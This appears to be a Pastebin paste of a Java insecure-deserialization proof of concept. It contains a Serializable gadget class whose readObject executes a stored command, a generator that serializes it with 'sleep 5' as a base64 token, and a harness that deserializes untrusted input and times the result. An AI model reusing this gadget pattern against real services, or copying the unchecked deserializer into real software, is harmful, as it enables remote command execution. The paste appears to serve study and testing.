Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. rO0ABXNyAAxHYWRnZXRPYmplY3TwQKdCKLrR3AIAAUwAA2NtZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAHc2xlZXAgNQ==
  2.  
  3. import java.io.Serializable;
  4. import java.text.StringCharacterIterator;
  5. import java.util.*;
  6. import java.io.*;
  7.  
  8. public class GadgetObject implements Serializable {
  9. String cmd;
  10.  
  11. private void readObject( ObjectInputStream stream ) throws Exception {
  12. Runtime.getRuntime().exec(cmd);
  13. }
  14. }
  15.  
  16.  
  17.  
  18. import java.io.ByteArrayOutputStream;
  19. import java.io.ObjectOutputStream;
  20. import java.util.Base64;
  21.  
  22. public class test {
  23. public static void main(String[] args) {
  24.  
  25. GadgetObject go = new GadgetObject();
  26. go.cmd = "sleep 5";
  27. try{
  28. ByteArrayOutputStream bos = new ByteArrayOutputStream();
  29. ObjectOutputStream oos = new ObjectOutputStream(bos);
  30. oos.writeObject(go);
  31. oos.flush();
  32. byte[] exploit = bos.toByteArray();
  33. byte[] token = Base64.getEncoder().encode(exploit);
  34. System.out.println("encodedBytes " + new String(token));
  35. } catch(Exception e){
  36. System.out.println("cos poszlo nie tak");
  37. }
  38. }
  39. }
  40.  
  41. import java.io.IOException;
  42. import java.io.ByteArrayInputStream;
  43. import java.io.ObjectInputStream;
  44. import java.util.Base64;
  45.  
  46. public class lol {
  47. public static void main(String[] args) {
  48. String b64token;
  49. byte [] data;
  50. ObjectInputStream ois;
  51. Object o;
  52. long before, after;
  53. int delay;
  54. String token = "";
  55.  
  56. b64token = token.replace('-', '+').replace('_', '/');
  57. try {
  58. data = Base64.getDecoder().decode(b64token);
  59. ois = new ObjectInputStream( new ByteArrayInputStream(data) );
  60. before = System.currentTimeMillis();
  61. try {
  62. o = ois.readObject();
  63. } catch (Exception e) {
  64. o = null;
  65. }
  66. after = System.currentTimeMillis();
  67. ois.close();
  68. delay = (int)(after - before);
  69. System.out.println(delay);
  70. } catch (Exception e) {
  71. System.out.println("cos poszlo nie tak");
  72. }
  73.  
  74. }
  75. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement